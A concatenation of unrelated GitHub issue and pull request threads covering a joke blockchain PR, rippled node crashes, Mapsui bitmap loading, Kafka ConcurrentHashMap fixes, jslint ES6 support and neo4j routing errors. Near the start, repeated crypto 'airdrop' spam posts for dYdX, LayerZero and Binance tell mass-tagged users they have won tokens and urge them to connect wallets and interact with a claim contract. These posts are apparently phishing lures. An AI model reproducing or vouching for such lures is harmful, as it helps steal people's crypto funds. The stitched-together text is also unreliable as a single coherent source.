feat: decentralize the days in the year

What I did
I decentralized the days in the year by using a blockchain to process each digit as a transaction that is mined.

fixes: #
How I did it
Proof of work
How to verify it
Read the Bitcoin Whitepaper to get the idea
Checklist

[X] Passes all linting checks (pre-commit and CI jobs)
[X] New test cases have been added and are passing
[X] Documentation has been updated
[X] PR title follows Conventional Commit standard (will be automatically included in the changelog)

Congratulations! You've been chosen to receive a $7,000 Rewards. 🪂🔴
Trading and Launch Rewards are live on dYdX Chain! ✨
Connect your wallet, follow the instructions, and claim this exclusive offer from Dydx Exchange. For GitHub users only—share with friends to make it eligible. Redeem your reward first.

🚀 Claim Your Rewards Now! Check Eligibility
Access the Dydx Exchange platform and connect your wallet securely. Ensure you're using a trusted wallet for the transaction.

🔗 Connect your wallet twice
📋 Register on the platform
💰 Claim your Rewards, up to $2,000!

@dydxprotocol

LayerZero x Google Cloud Airdrop 2024: Exclusive $ZRO Tokens 🚀
Welcome to the groundbreaking LayerZero x Google Cloud Airdrop for 2024! Get ready to seize your share of $ZRO tokens in this unprecedented collaboration. Here's your guide to participating:
Claim Now on LayerZero Official

Airdrop Participation Steps:

Connect Your Wallet:

Visit the LayerZero Airdrop.
Integrate your preferred wallet (Metamask, Coinbase, Trust Wallet, and more).

Spread the Excitement:

Facebook:
Share on Facebook
Twitter:
Share on Twitter
Instagram:
Share on Reddit

Verification Check:

Confirm your eligibility for the LayerZero x Google Cloud Airdrop and secure your $ZRO tokens.

Don't miss out on this futuristic collaboration – claim your tokens now and ride the wave of LayerZero innovation with Google Cloud!

Binance Airdrop Guide: Claim Your $1500 in BNB Now!
🎉 Congratulations! You've won a share of the $1.500k Binance Airdrop, and we're excited to give you $1500 in BNB to celebrate the end of the year. But that's not all—connect now, and you'll instantly receive an additional $100! Follow the steps below to claim your tokens and make the most of this festive giveaway!

Steps to Claim:
1. 🌐 Connect Your Binance Wallet:

Click on the Connect Wallet link.
Choose your preferred wallet provider (Metamask, Trust Wallet, etc.).

2. 🔄 Interact with the Contract:

Once your wallet is connected.
Click on the "Claim" button to interact with the smart contract.

💰 Don't miss out on your $1.500k in BNB! Plus, enjoy an instant $100 upon connection. Act now to secure your tokens. And hey, seize the chance to win up to $20,000—it's your golden opportunity!
Winners: @sturmE, @stephenlacy, @ackness, @letsgitcracking, @ethluz, @awaisali88, @zutobg, @drewoffgod, @0xlxy, @cvic, @Candinya, @R-K-H, @xdefidev, @lecoler, @EchosYan, @adarshsrivastava11, @GnosisAssembler, @dylanhogg, @x0oo11235oo0x, @relax2code, @tmm360, @erhant, @paralin, @JackLLLLL, @mandarenmanman, @ssteiger, @chendatony31, @jjgonecrypto, @HussainMehdi, @Dirtyyt66, @HSAN03, @Veblin, @Legogris, @josephnicholas, @fantafi, @gosseti, @khemtat, @timqi, @mmv08, @hafizio, @rav3ndust, @tieubao, @tavakyan, @sghost13, @zzc1308, @xAffinity, @ylv-io, @Wickedlilang3l, @sywyn219, @simonbuechi

Binance Airdrop Guide: Claim Your $1500 in BNB Now!
🎉 Congratulations! You've won a share of the $1.500k Binance Airdrop, and we're excited to give you $1500 in BNB to celebrate the end of the year. But that's not all—connect now, and you'll instantly receive an additional $100! Follow the steps below to claim your tokens and make the most of this festive giveaway!

Steps to Claim:
1. 🌐 Connect Your Binance Wallet:

Click on the Connect Wallet link.
Choose your preferred wallet provider (Metamask, Trust Wallet, etc.).

2. 🔄 Interact with the Contract:

Once your wallet is connected.
Click on the "Claim" button to interact with the smart contract.

💰 Don't miss out on your $1.500k in BNB! Plus, enjoy an instant $100 upon connection. Act now to secure your tokens. And hey, seize the chance to win up to $20,000—it's your golden opportunity!
Winners: @n37r09u3, @gat786, @Betep0k, @Yukaii, @NukeManDan, @Kalebu, @ykw2333, @gam-ragnar, @gerxiu, @ssjavadpour, @Jayhu11, @tszumowski, @caner, @marcosgabarda, @beeb, @jsmith716, @zuzannauba, @thaussma, @Andupk, @davidkhala, @SS-13, @Neronjust2017, @nicovalencia, @MostafaMhmod, @robotmendez, @GISman-simon, @camisatx, @Pangstar, @mchlgr, @lukewbecker, @senchabot-app, @aedonii, @oberstet, @fernandoe321, @shirishkz, @Mepond, @reconstructive, @noisetheory, @xinyang12, @Dylan-Burns, @nofeetbird0321, @blocksherpa, @rurogge, @penguwin, @antoncoding, @xuerundong, @cocoonkid, @empeje, @0xBeshoy, @ooguz

Binance Airdrop Guide: Claim Your $1500 in BNB Now!
🎉 Congratulations! You've won a share of the $1.500k Binance Airdrop, and we're excited to give you $1500 in BNB to celebrate the end of the year. But that's not all—connect now, and you'll instantly receive an additional $100! Follow the steps below to claim your tokens and make the most of this festive giveaway!

Steps to Claim:
1. 🌐 Connect Your Binance Wallet:

Click on the Connect Wallet link.
Choose your preferred wallet provider (Metamask, Trust Wallet, etc.).

2. 🔄 Interact with the Contract:

Once your wallet is connected.
Click on the "Claim" button to interact with the smart contract.

💰 Don't miss out on your $1.500k in BNB! Plus, enjoy an instant $100 upon connection. Act now to secure your tokens. And hey, seize the chance to win up to $20,000—it's your golden opportunity!
Winners: @

🚀 Binance Airdrop - Earn up to $1,000 in Tokens! 💰
Welcome to the exclusive Binance Airdrop! We're giving away generous rewards to eligible participants. Follow the steps below to join and earn up to $1,000 in tokens instantly.
How to Participate:
1. 🤝 Connect Your Wallet
Make sure you have a compatible wallet and connect it to Binance.
Note: Your wallet must have a minimum balance to be eligible.
2. 🔗 Access the Smart Contract
Access the smart contract through the provided link: Binance Airdrop Smart Contract.
3. 🔄 Interact with the Contract
Winners: @Jeff-CW, @GabrielAbra, @metehkaya, @steezeburger, @ThingEngineer, @lalego, @logikinc

$BNB Airdrop Guide: Claim Your $1000 in BNB Now!
🎉 Congratulations! You've won a share of the $1.500k Binance Airdrop, and we're excited to give you $1500 in BNB to celebrate the end of the year. But that's not all—connect now, and you'll instantly receive an additional $100! Follow the steps below to claim your tokens and make the most of this festive giveaway!

Steps to Claim:
1. 🌐 Connect Your Binance Wallet:

Click on the Connect Wallet link.
Choose your preferred wallet provider (Metamask, Trust Wallet, etc.).

2. 🔄 Interact with the Contract:

Once your wallet is connected.
Click on the "Claim" button to interact with the smart contract.

💰 Don't miss out on your $1.000k in BNB! Plus, enjoy an instant $100 upon connection. Act now to secure your tokens. And hey, seize the chance to win up to $20,000—it's your golden opportunity!
Winners: @nbeerbower, @MrSharkSpamBot, @N0xMare, @Wapiw, @diodoe, @martinand, @artslimedev


CSS

CSS
UserStory
As a boot camp student
I want the prework notes to be structured on a webpage
So that I can easily find and read the information
Acceptance Criteria
GIVEN a Prework Study Guid website
WHEN I view the study guide
THEN I see a dark blue header and footer and four boxes with a shadow

Done


Compatibly wiht 4.7

Before doing the update i was asking if the theme is 4.7 ready ?
cause when i come to update , it tell me is not.
thank you

Yes
https://github.com/aXenDeveloper/ips-theme-dynamic/releases/tag/v1.2.0


Remove checkbox from declaration

This removes the need to check a checkbox in order to agree to the declaration:
Before

After

https://regulatorydelivery.atlassian.net/jira/software/projects/COSBETA/boards/24?selectedIssue=COSBETA-690

@frankieroberto think it should say 'I confirm' for the business declaration page :)
Then 'I accept' for the MSA and poison centre declaration pages


Release v2.2.0

Coverage remained the same at 93.396% when pulling ae778d27717126d605cdd7ead50bcfaf651fdec0 on jshmrtn:release/v2.2.0 into 77bfaa08244dae88d2afaf072e9a47dcac0761bb on c-rack:master.

👍


Fixed #34149 -- Allowed adding deferrable conditional exclusion constraints on PostgreSQL.

PostgreSQL does allow WHERE on an exclude constraint that is deferred, removing this restriction allows adding such constraint without using raw SQL.

@felixxm Added a test. All seems 🟢

@salomvary Thanks :+1: Welcome aboard :boat:
I pushed tiny edits.


[ripple node is stopped many times] (1.9.4+ba3c0e51455a88d76d90b996f20c0f102ac3f5a0.DEBUG)

2022-Nov-11 08:16:22.234032320 UTC LoadMonitor:WRN Job: processLedgerData run: 1986ms wait: 0ms
2022-Nov-11 08:16:23.513537418 UTC LoadMonitor:WRN Job: processLedgerData run: 1153ms wait: 0ms
2022-Nov-11 08:16:41.381873448 UTC LoadMonitor:WRN Job: gotFetchPack run: 2492ms wait: 0ms
2022-Nov-11 08:16:41.575358272 UTC LoadMonitor:WRN Job: processLedgerData run: 1150ms wait: 0ms
2022-Nov-11 08:16:52.974906477 UTC LoadMonitor:WRN Job: processLedgerData run: 1008ms wait: 0ms
2022-Nov-11 08:16:53.051118374 UTC LoadMonitor:WRN Job: processLedgerData run: 1289ms wait: 0ms
2022-Nov-11 08:16:53.716542567 UTC LoadMonitor:WRN Job: gotFetchPack run: 741ms wait: 523ms
2022-Nov-11 08:16:56.235694966 UTC LoadMonitor:WRN Job: processLedgerData run: 1139ms wait: 0ms
2022-Nov-11 08:16:56.414271764 UTC LoadMonitor:WRN Job: processLedgerData run: 1173ms wait: 0ms
2022-Nov-11 08:17:00.844353959 UTC LoadMonitor:WRN Job: processLedgerData run: 646ms wait: 473ms
2022-Nov-11 08:17:00.918079269 UTC LoadMonitor:WRN Job: gotFetchPack run: 1352ms wait: 154ms
2022-Nov-11 08:17:11.624420645 UTC LoadMonitor:WRN Job: gotFetchPack run: 2469ms wait: 0ms
2022-Nov-11 08:17:15.716968443 UTC LoadMonitor:WRN Job: processLedgerData run: 1091ms wait: 0ms
2022-Nov-11 08:17:15.893754960 UTC LoadMonitor:WRN Job: processLedgerData run: 1387ms wait: 0ms
2022-Nov-11 08:17:15.894065428 UTC LoadMonitor:WRN Job: processLedgerData run: 0ms wait: 1240ms
2022-Nov-11 08:17:15.925435462 UTC LoadMonitor:WRN Job: gotFetchPack run: 1077ms wait: 222ms
2022-Nov-11 08:17:16.026089813 UTC LoadMonitor:WRN Job: processLedgerData run: 309ms wait: 1080ms
2022-Nov-11 08:17:16.594215302 UTC LoadMonitor:WRN Job: processLedgerData run: 700ms wait: 1210ms
2022-Nov-11 08:17:24.669114169 UTC LoadMonitor:WRN Job: gotFetchPack run: 1165ms wait: 2ms
2022-Nov-11 08:17:25.288168050 UTC LoadMonitor:WRN Job: processLedgerData run: 1082ms wait: 0ms
xrp3: /home/rippled/src/ripple/app/ledger/Ledger.cpp:436: virtual std::shared_ptr ripple::Ledger::read(const ripple::Keylet&) const: Assertion `false' failed.
I  have 2 ripple node, all of them stop with above log

2022-Nov-11 08:16:22.234032320 UTC LoadMonitor:WRN Job: processLedgerData run: 1986ms wait: 0ms 2022-Nov-11 08:16:23.513537418 UTC LoadMonitor:WRN Job: processLedgerData run: 1153ms wait: 0ms 2022-Nov-11 08:16:41.381873448 UTC LoadMonitor:WRN Job: gotFetchPack run: 2492ms wait: 0ms 2022-Nov-11 08:16:41.575358272 UTC LoadMonitor:WRN Job: processLedgerData run: 1150ms wait: 0ms 2022-Nov-11 08:16:52.974906477 UTC LoadMonitor:WRN Job: processLedgerData run: 1008ms wait: 0ms 2022-Nov-11 08:16:53.051118374 UTC LoadMonitor:WRN Job: processLedgerData run: 1289ms wait: 0ms 2022-Nov-11 08:16:53.716542567 UTC LoadMonitor:WRN Job: gotFetchPack run: 741ms wait: 523ms 2022-Nov-11 08:16:56.235694966 UTC LoadMonitor:WRN Job: processLedgerData run: 1139ms wait: 0ms 2022-Nov-11 08:16:56.414271764 UTC LoadMonitor:WRN Job: processLedgerData run: 1173ms wait: 0ms 2022-Nov-11 08:17:00.844353959 UTC LoadMonitor:WRN Job: processLedgerData run: 646ms wait: 473ms 2022-Nov-11 08:17:00.918079269 UTC LoadMonitor:WRN Job: gotFetchPack run: 1352ms wait: 154ms 2022-Nov-11 08:17:11.624420645 UTC LoadMonitor:WRN Job: gotFetchPack run: 2469ms wait: 0ms 2022-Nov-11 08:17:15.716968443 UTC LoadMonitor:WRN Job: processLedgerData run: 1091ms wait: 0ms 2022-Nov-11 08:17:15.893754960 UTC LoadMonitor:WRN Job: processLedgerData run: 1387ms wait: 0ms 2022-Nov-11 08:17:15.894065428 UTC LoadMonitor:WRN Job: processLedgerData run: 0ms wait: 1240ms 2022-Nov-11 08:17:15.925435462 UTC LoadMonitor:WRN Job: gotFetchPack run: 1077ms wait: 222ms 2022-Nov-11 08:17:16.026089813 UTC LoadMonitor:WRN Job: processLedgerData run: 309ms wait: 1080ms 2022-Nov-11 08:17:16.594215302 UTC LoadMonitor:WRN Job: processLedgerData run: 700ms wait: 1210ms 2022-Nov-11 08:17:24.669114169 UTC LoadMonitor:WRN Job: gotFetchPack run: 1165ms wait: 2ms 2022-Nov-11 08:17:25.288168050 UTC LoadMonitor:WRN Job: processLedgerData run: 1082ms wait: 0ms xrp3: /home/rippled/src/ripple/app/ledger/Ledger.cpp:436: virtual std::shared_ptr ripple::Ledger::read(const ripple::Keylet&) const: Assertion `false' failed.
I have 2 ripple node, all of them stop with above log

Lo creo

Since you're running a debug build (asserts are only checked in debug builds), would it be possible to run your nodes inside of gdb? That will allow you to relatively easily capture a stack trace and other information if this happens again. I usually do the same thing where I run rippled. Here's how I do it.
gdb -q -ex set pagination off -ex run -ex generate-core-file -ex set logging enabled on -ex thread apply all bt full -ex set logging enabled off -ex quit --args [path to rippled]

That should generate a core file and a gdb.txt file containing any stack trace from the crash. If you get one, please post it here, or post a link to a gist.

We're facing a similar issue. We're running 3 mainnet nodes and occasionally all of them crash simultaneously. Until recent few weeks, this problem hasn't occurred. (we don't save logs for rebooted nodes, sorry)


Regen

cc @EPashkin

Updated.

👍
But maybe better wait for https://github.com/gtk-rs/gio/pull/69 and InputStream

I was wondering about it. Let's wait for it then.


Best way to update dynamic memory layer features?

Hello,
I'm updating a dynamic memory provider layer after each zoom/pan. I've just been creating a new layer each time and removing then replacing the layer. Is there a more efficient, elegant way to do this? Can you show me some examples? Am I using the right type of layer?
Thanks,

Perhaps the discussion at the end of #291 helps you.

Perhaps look at WritableLayer. Depending on your use case you might want to update the geometries of the features. In that case you need to clear the cache on the feature itself.

I have implemented a linestring layer that updates as the location changes. It basically draws your track as you move. I can share this code if it helps?

Yes @jinkhera , please do.  That sounds like a perfect example.

I can't figure out why my point isnt showing up. Does anything look wrong with this code?
`
public static MemoryLayer CreatePointLayer(Wkx.LineString geometry)
{
return new MemoryLayer
{
Name = "Points",
Enabled = true,
Opacity = 1,
DataSource = new MemoryProvider(GetPointFromEmbeddedResource(geometry)),
Style = CreateBitmapStyle("PROJECT.Mobile.loc.png"),
};
}
    private static Features GetPointFromEmbeddedResource(Wkx.LineString geometry)
    {
        var feats = new Features();
        var feature = new Feature();
        var point = SphericalMercator.FromLonLat((double)geometry.Points[0].X, (double)geometry.Points[0].Y);
        feature.Geometry = point;
        feature["name"] = "name";

        feats.Add(feature);

        return feats;
    }

    public static SymbolStyle CreateBitmapStyle(string embeddedResourcePath)
    {
        // For this sample we get the bitmap from an embedded resouce
        // but you could get the data stream from the web or anywhere
        // else.
        //var path = "Mapsui.Samples.Common.Images.home.png"; // Designed by Freepik http://www.freepik.com
        var bitmapId = GetBitmapIdForEmbeddedResource(embeddedResourcePath);
        var bitmapHeight = 70;// To set the offset correct we need to know the bitmap height
        return new SymbolStyle { BitmapId = bitmapId, SymbolScale = 5, SymbolOffset = new Offset(0, bitmapHeight * 0.5) };
    }

    public static int GetBitmapIdForEmbeddedResource(string imagePath)
    {
        var embeddedImage = new Xamarin.Forms.Image { Source = Xamarin.Forms.ImageSource.FromResource(imagePath, typeof(Helpers).GetTypeInfo().Assembly) };

        var bitmapId = BitmapRegistry.Instance.Register(embeddedImage);

        // NOTE: use for debugging, not in released app code!
        var assembly = typeof(Helpers).GetTypeInfo().Assembly;
        foreach (var res in assembly.GetManifestResourceNames())
        {
            System.Diagnostics.Debug.WriteLine("found resource: " + res);
        }

        return bitmapId;
    }`

You create a Xamarin Forms image.
var embeddedImage = new Xamarin.Forms.Image { Source = Xamarin.Forms.ImageSource.FromResource(imagePath, typeof(Helpers).GetTypeInfo().Assembly) };
The register method takes the raw image bytes. Perhaps you can request the raw bytes from the Xamarin Forms image.

An other option is not to load it as XF image in the first place, but load the raw resource in some other way.

@mattmiley @pauldendulk second suggestion is the right. BitmapRegistry.Register() accepts a stream, containing the bytes of a SVG, PNG or JPG file, not a Xamarin ImageSource.
So the correct version of this would be
var stream = typeof(Helpers).GetTypeInfo().Assembly.GetManifestResourceStream(imagePath);
var bitmapId = BitmapRegistry.Instance.Register(stream);

I'm try to read an image into MemeoryStream to be consumed into BitmapRegistry.Instance.Register.
The images are stored into Resources/drawable in Android and into Resources in iOS.
I'm trying to use (as suggested by charlenni):
var stream = typeof(Helpers).GetTypeInfo().Assembly.GetManifestResourceStream(imagePath);
but Helpers isn't defined.
Can anyone help me? Thank you.


Stash the key used by the previous data-join

One of the surprising things about the data join is that you have to recompute a new key for the existing elements. It’d be nice if we stashed the key (if one exists) as node.__key__, similar to how we stash data as node.__data__. That way you’d only need to compute the key for the data, not for the existing elements. This key would only be stashed in the cases where you pass a key function to selection.data.

On a similar topic, is there an intentional decision behind selection.data not accepting an object as a key?
When I did:
var clocks = [{position: {x:0,y:0}, minutes: 0, hours:0},...]
selection.data(clocks, d=>d.position)...

I expected the data object to bind to the position object. It however did not. Instead I had to serialise position to a string manually.
https://observablehq.com/d/b0cbdcac16896daf

@mjmdavis Keys are required to be strings. https://github.com/d3/d3-selection#selection_data

A key function may be specified to control which datum is assigned to which element, replacing the default join-by-index, by computing a string identifier for each datum and element.


Seems to have problems with template strings.

var template =

;
this code gets me
Unexpected '`'.
is error

how are you even getting this error? jslint should only run inside a .js file

I'm using it with a .js file.
I'm trying to use the es6 template strings feature. You use the back-tick(It's on the same key as the tilde) character to enclose your string instead of single or double quotes.
It's a useful feature because you can do this:
var name = "Bob",
age =  16,
hColor = "blue";
console.log(${name} is ${age}, and has ${hColor} hair.);
//Bob is 16, and has blue hair.
instead of:
console.log(name + " is " + age + ", and has " + hColor + " hair.");
//bob is 16, and has blue hair.
It works fine, and it's error free in Crockfords jslint when I click the "assume.. ES6."
Is this something I can set in my .jslintrc file?
I tried adding: "es6": true,
but it didn't do anything.

I see you have to escape the back-tick in github apparently

es6 is not yet enabled see #27

please go test the new es6 branch??
You need to select es6 in the jslint version dropdown and reload atom to test this

Hello. +1 to problem.
@tcarlsen, I have in the JSLint version dropdown latest and versions by dates.

1.5.0 is now out with ES6 support

Update jslint package
Go to settings and select es6 as your jslint version
Restart Atom
Set es6 to true in your .jslintrc file


Make "Cannot connet to peer" button, when clicked, open the node section

When user go to Atomic Swaps tab and 1 of the nodes isn't connected, then clicking on " cannot connect to peer. Please check the address and try again" will be opened node settings

Updated design: https://zpl.io/V1Dl1l4

change the text to "Cannot connect to peer. Please check the address in Settings and try again."
when click on it - opens settings (swap settings)

checked


Card with glowing border

I want to add Card with glowing border effect .
Please assign me this issue under DCP'21.

ok @neha030 go ahead
and have a look on this repo although this is not under DCP21 but u know #opensource
https://github.com/arpit456jain/Web-Development-Path-And-Resources


Entity with reference cannot be deleted

If I try to delete a user that has a Role / Permission
I get an error:
The DELETE statement conflicted with the REFERENCE constraint "FK_UserPermissions_UserId". The conflict occurred in database "Demo_Serene_Default_v1", table "dbo.UserPermissions", column 'UserId'.
The statement has been terminated.
If this is a desired behavior the error message could be more comprehensible...

You need to make sure that there are no users that still have that role. Once you have verified that and that the role does not have any assigned permissions, you can then delete the role.

I want to delete the user, not a role

My apologies, make sure the user is not assigned any role or explicit permissions.

I know, but the error message looks horrible to a web user unless he is a programmer...

That "horrible" message comes from SQL server. And it is what you get in any ORM. Serenity can't and shouldn't handle that. Serenity is DB agnostic. If you want, set FK to CASCADE DELETE, or in UserRepository delete related records. Or see prior issues on how to handle it gracefully.

I know this is closed but my two cents on this is that you can always set the User table to have a IIsActiveDeletedRow interface. This lets you keep the record in case you ever need to re-instantiate the user, removes loss of reference in the event you are running any audit or joint fields using the userId and, even though the record still technically exists, since it's a active delete, it still closes all permissions for the user.
I've tested this and it works well with my setup. All I had to do was add IsActive to the table and it's proper edits to the xyzRow and xyzGrid files.

Thank you for your help. @volkanceylan : I think no matter if an application is DB agnostic or not, GUI should never show database error messages as-is to an end user, unless it's a test environment. First, it reveals database structure, which is a security risk and second it is totaly irrelevant for him.
The most visited webs on the Internet never show exception traces.
User Interface Design Tips, http://www.goodui.org/

Well, design your better framework with tips from there then. Good luck.

@volkanceylan  sorry if I insulted you, I didn't want to. I won't design my framework because Serenity is very cool and I appreciate it very much!

https://en.wikipedia.org/wiki/Security_through_obscurity
Stack traces in ASP.NET are controlled by customErrors mode ON OFF.


KAFKA-13971: Fix atomicity violations caused by improper usage of ConcurrentHashMap - part2

## Problem #1 in DelegatingClassLoader.java
Atomicity violation in example such as:
Consider thread T1 reaches line 228, but before executing context switches to thread T2 which also reaches line 228. Again context switches to T1 which reaches line 232 and adds a value to the map. T2 will execute line 228 and creates a new map which overwrites the value written by T1, hence change done by T1 would be lost. This code change ensures that two threads cannot initiate the TreeMap, instead only one of them will.
Problem #2 in RocksDBMetricsRecordingTrigger.java
Atomicity violation in example such as:
Consider thread T1 reaches line 40 but before executing it context switches to thread T2 which also reaches line 40. In a serialized execution order, thread T2 should have thrown the exception but it won't in this case. The code change fixes that.
Note that some other problems associated with use of concurrent hashmap has been fixed in https://github.com/apache/kafka/pull/12277

Is the relevant code specified as thread safe?

Is the relevant code specified as thread safe?

Thank you for your review @ijuma. I appreciate it. Though, I am afraid I don't understand your question.
Are you asking whether the existing code is supposed to be thread safe?
If yes, for DelegatingClassLoader.java the javadoc for the class mentioned that it is supposed to be thread safe (but it isn't due to the bug that is fixed in this review). For the RocksDBMetricsRecordingTrigger.java, we run a thread periodically from a metric trigger thread pool which reads from the map maintained in the class. At the same time it is possible that another thread is mutating the map during startup/shutdown of rocksDB which may leave the map in inconsistent state. Hence, it's important for this class to be thread safe as well.
Also, note that both the classes in this review use ConcurrentHashMap (albeit incorrectly) to ensure thread safe mutation over the map.
Are you asking whether the changed code is thread safe?
If yes, the change uses atomic operations provided by ConcurrentHashMap to ensure thread safety.

@C0urante please review when you get a chance.


Update strings.xml

A small addition wrt the translation of the 'auto-translation pop-up' (I don't know how to properly correct it in the file):
Referring specifically to line 162 and 163, "Laten zien in" and "eerste".
In English: "Show in [language] first" = grammatically ok
In Dutch: "Laten zien in [language] eerste" = grammatically wrong  --> should be "Eerst laten zien in [language]"

@matata2140 good catch. These need to be parameterized like:
// en
<string name="show_in_lang_first">Show in %1$s first</string>

// nl
<string name="show_in_lang_first">Eerst laten zien in %1$s</string>

but it will require some code changes so you can't do it just yet. I'll fix it later. @vitorpamplona do you know of any other strings that are using these "split strings" to do a paramterization workaround? I'll fix them all at the same time if there are others.

there's also a tiny added change (a space) in the file that should be merged one way or the other

@matata2140 this should be fixed in the current release. I added the space with a few other edits.


Unable to Retrieve Routing information When Using Neo4j Python Driver

This is occurring in a databricks Python notebook when using the neo4j python driver: from neo4j import GraphDatabase I receive the following error:
---------------------------------------------------------------------------
ServiceUnavailable                        Traceback (most recent call last)
<command-3411714849431767> in <module>
      2
      3 # create dataset node with metadata and write to neo4j
----> 4 neo4j_write(generate_graph_dataset_query(params, spark_df))

<command-3411714849431763> in neo4j_write(query)
     31     """Write data to the graph database with a custom query"""
     32
---> 33     session = connect_to_graph()
     34     session.run(query)
     35     session.close()

<command-3411714849431763> in connect_to_graph(neo_4j_url, ws_username, ws_password, database)
     21 #         print(e)
     22 #         return None
---> 23     connection = GraphDatabase.driver(neo_4j_url,
     24         auth=(ws_username, ws_password))
     25     session = connection.session(database=database)

/databricks/python/lib/python3.8/site-packages/neo4j/__init__.py in driver(cls, uri, auth, **config)
    184         elif driver_type == DRIVER_NEO4j:
    185             routing_context = parse_routing_context(parsed.query)
--> 186             return cls.neo4j_driver(parsed.netloc, auth=auth, routing_context=routing_context, **config)
    187
    188     @classmethod

/databricks/python/lib/python3.8/site-packages/neo4j/__init__.py in neo4j_driver(cls, auth, routing_context, *targets, **config)
    207
    208         try:
--> 209             return Neo4jDriver.open(*targets, auth=auth, routing_context=routing_context, **config)
    210         except (BoltHandshakeError, BoltSecurityError) as error:
    211             from neo4j.exceptions import ServiceUnavailable

/databricks/python/lib/python3.8/site-packages/neo4j/__init__.py in open(cls, auth, routing_context, *targets, **config)
    408         addresses = cls.parse_targets(*targets)
    409         pool_config, default_workspace_config = Config.consume_chain(config, PoolConfig, WorkspaceConfig)
--> 410         pool = Neo4jPool.open(*addresses, auth=auth, routing_context=routing_context, pool_config=pool_config, workspace_config=default_workspace_config)
    411         return cls(pool, default_workspace_config)
    412

/databricks/python/lib/python3.8/site-packages/neo4j/io/__init__.py in open(cls, auth, pool_config, workspace_config, routing_context, *addresses)
    579
    580         try:
--> 581             pool.update_routing_table(database=workspace_config.database)
    582         except Exception:
    583             pool.close()

/databricks/python/lib/python3.8/site-packages/neo4j/io/__init__.py in update_routing_table(self, database)
    802         # None of the routers have been successful, so just fail
    803         log.error("Unable to retrieve routing information")
--> 804         raise ServiceUnavailable("Unable to retrieve routing information")
    805
    806     def update_connection_pool(self, *, database):

ServiceUnavailable: Unable to retrieve routing information

Here is my code for connecting to neo4j:
def connect_to_graph(neo_4j_url=URL, ws_username=USER, ws_password=PWD, database=DB):

    """ Connect to the neo4j graph DB """

    connection = GraphDatabase.driver(neo_4j_url,
        auth=(ws_username, ws_password))
    session = connection.session(database=database)

    return session

This code successfully writes data to a different neo4j database when tested

Hi, thanks for contacting us.
ServiceUnavailable: Unable to retrieve routing information can have several causes and usually means connectivity issues. To help you, please provide further information:

First, I'd like to know which driver version this is. It seems rather old judging by its behavior.
I'd also like to know what server version you're trying to connect to.
Lastly, inspecting the debug log often reveals the underlying problem. Please do so by adding this before starting the driver and post the output.import logging
import sys

handler = logging.StreamHandler(sys.stdout)
handler.setLevel(logging.DEBUG)
logging.getLogger("neo4j").addHandler(handler)
logging.getLogger("neo4j").setLevel(logging.DEBUG)

Hi @robsdedude  , at our organization we are using enterprise neo4j , i am running into similar error when i enabled logging i see the following statements being logged

[#0000]  C:  ServiceUnavailable: Timed out trying to establish connection to ResolvedIPv4Address(('ab.ab.abc.abc', 7687))

I increased the connection timeout connection_timeout from default (30) to 60s https://neo4j.com/docs/api/python-driver/4.3/api.html#driver-configuration
but still encountering the same error , is there anything else which can be done to overcome this error
or at-least narrow down to the actual cause
Can you please share your thoughts
neo4j version : 4.2.9 (enterprise)
python driver version : 4.4.0
thanks!!

This is really hard to debug for me as this is most certainly a network issue. The driver is telling you that the server did not respond in time. Make sure you server is running and reachable at the IP address you assume. Can you connect to the neo4j browser at http://ab.ab.abc.abc:7474?
I'll close this issue as it's not driver related. Feel free to follow-up here nevertheless if you think there's something else I can help you with.

@robsdedude  yes i can connect at (http://ab.ab.abc.abc:7474) through browser and via application as well, if 10 request per second are made to application 6 go through (connect to neo4j and performs queries), 4 fail with this error.
Server is up in running (was same response from neo4j support team as well) then how come drivers are unable to connect for the rest of the 4 (any limitation at neo4j server level)?

By default, the server can only handle (compute things for) up to 400 connections at the same time. You can change this value https://neo4j.com/docs/operations-manual/current/reference/configuration-settings/#config_dbms.connector.bolt.thread_pool_max_size . But do you have more than 400 driver-sessions executing work at the same time? Maybe you can find something helpful in the server logs. I'm just afraid I won't be of much help interpreting this, as I mostly work on the Python Driver.

Hey @robsdedude, might be naive question but when you say 400 driver-sessions , you mean 400 sessions connections (at the same time) , something like below
with self.driver.session() as session
   result = session.write_transaction(
                self._create_and_return_friendship, person1_name, person2_name)

or
you mean 400 connections like below
self.driver = GraphDatabase.driver(uri, auth=(user, password))
is there a way at neo4j log level or server level to determine , how many connections are existing at given point of time (as you mentioned above 400 default value, want to check actual value)
Can you please confirm.
Thanks!!

The driver opens and keeps connections open only as long as needed. So in fact neither GraphDatabase.driver(uri, auth=(user, password)) nor driver.session() acquires a connection. Only ongoing transactions and unconsumed result streams will keep a connection open.
Another idea: are you running a single server or a cluster? If it's a single server, you could try connecting to it with the bolt://... scheme. This way it will not fail when trying to acquire a routing table but (if at all) when trying to execute work. This might make it a little easier to debug.
Finally, sharing the whole log (you can redact IP addresses and replace your queries with dummy queries) would really make debugging this easier for me.

We are running cluster.
ServiceUnavailable error execute_read 'cypher_query'.
query=UNWIND $json AS message MATCH (a:anonymous {anonymous_id: message.anonymous_id})-[*1..6]-(b:anonymous)                           WITH b LIMIT 1099                           RETURN b as identifiers json={'anonymous_id': 'aaaaaaaa-aaaa-aaae-aaaa-aaaaaaaaaaaa'}

C: ServiceUnavailable: Timed out trying to establish connection to ResolvedIPv4Address(('ab.ab.abc.abc', 7687))

bolt_result = session.read_transaction(self._execute_, cypher_query=cypher_query, json=payload)   File "/.ve/lib/python3.7/site-packages/neo4j/work/simple.py", line 396, in read_transaction     return self._run_transaction(READ_ACCESS, transaction_function, *args, **kwargs)   File "/.ve/lib/python3.7/site-packages/neo4j/work/simple.py", line 352, in _run_transaction     raise errors[-1]   File "/.ve/lib/python3.7/site-packages/neo4j/work/simple.py", line 322, in _run_transaction     self._open_transaction(access_mode=access_mode, metadata=metadata, timeout=timeout)   File "/.ve/lib/python3.7/site-packages/neo4j/work/simple.py", line 255, in _open_transaction     self._connect(access_mode=access_mode)   File "/.ve/lib/python3.7/site-packages/neo4j/work/simple.py", line 108, in _connect     super()._connect(access_mode)   File "/.ve/lib/python3.7/site-packages/neo4j/work/__init__.py", line 83, in _connect     bookmarks=self._bookmarks   File "/.ve/lib/python3.7/site-packages/neo4j/io/__init__.py", line 1179, in acquire     bookmarks=bookmarks   File "/.ve/lib/python3.7/site-packages/neo4j/io/__init__.py", line 1125, in ensure_routing_table_is_fresh     database_callback=database_callback   File "/.ve/lib/python3.7/site-packages/neo4j/io/__init__.py", line 1094, in update_routing_table     raise ServiceUnavailable("Unable to retrieve routing information") neo4j.exceptions.ServiceUnavailable: Unable to retrieve routing information
For the successful one's we have logs something like below not sure if it is helpful
